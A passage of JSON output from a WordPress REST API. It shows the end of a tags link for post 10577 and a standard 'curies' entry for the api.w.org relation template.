-json\/wp\/v2\/tags?post=10577"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}